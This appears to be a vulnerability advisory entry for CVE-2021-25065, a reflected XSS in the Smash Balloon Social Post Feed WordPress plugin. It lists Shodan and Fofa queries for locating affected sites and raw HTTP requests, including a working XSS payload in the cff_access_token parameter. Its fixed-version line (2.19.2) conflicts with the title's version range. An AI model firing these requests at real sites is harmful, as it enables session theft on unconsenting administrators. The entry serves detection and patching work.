| Title | Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 2.19.2 |
| CVSS Score | 5.4 |
| EPSS Score | 0.03142 |
| CVE ID | CVE-2021-25065 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/custom-facebook-feed/ |
| Fofa Query | body=/wp-content/plugins/custom-facebook-feed/ |
| Tags | cve2021 cve wpscan wordpress wp-plugin xss wp authenticated smashballoon vuln |
The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=0SnVOL&pwd=qMmr5s&wp-submit=Log+In
GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25065.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25065.pcap
N/AN/A